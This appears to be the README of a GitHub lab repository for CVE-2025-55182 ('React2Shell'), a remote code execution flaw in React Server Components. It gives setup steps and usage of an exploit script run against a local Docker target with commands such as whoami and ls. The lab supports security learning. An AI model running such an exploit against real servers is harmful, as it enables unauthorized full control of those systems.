dhananjayakumarn/cve-2025-55182-labA hands-on lab for understanding and exploiting CVE-2025-55182 (React2Shell) - Remote Code Execution in React Server Components
A hands-on lab to exploit CVE-2025-55182 (React2Shell) - Remote Code Execution in React Server Components.
Educational purposes only. Only test on systems you own.
# Clone and start
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git
cd CVE-2025-55182-Lab
docker-compose up -d
# Wait 20 seconds, then exploit
python3 exploit.py http://localhost:3000 "whoami"
That's it! You should see command output proving RCE.
Critical RCE vulnerability in React Server Components (CVSS 10.0).
Affected:
Impact: One HTTP request = Full server control
python3 exploit.py <target> <command>
# Examples
python3 exploit.py http://localhost:3000 "whoami"
python3 exploit.py http://localhost:3000 "id"
python3 exploit.py http://localhost:3000 "ls -la"
docker-compose down
⭐ Star if this helped you learn!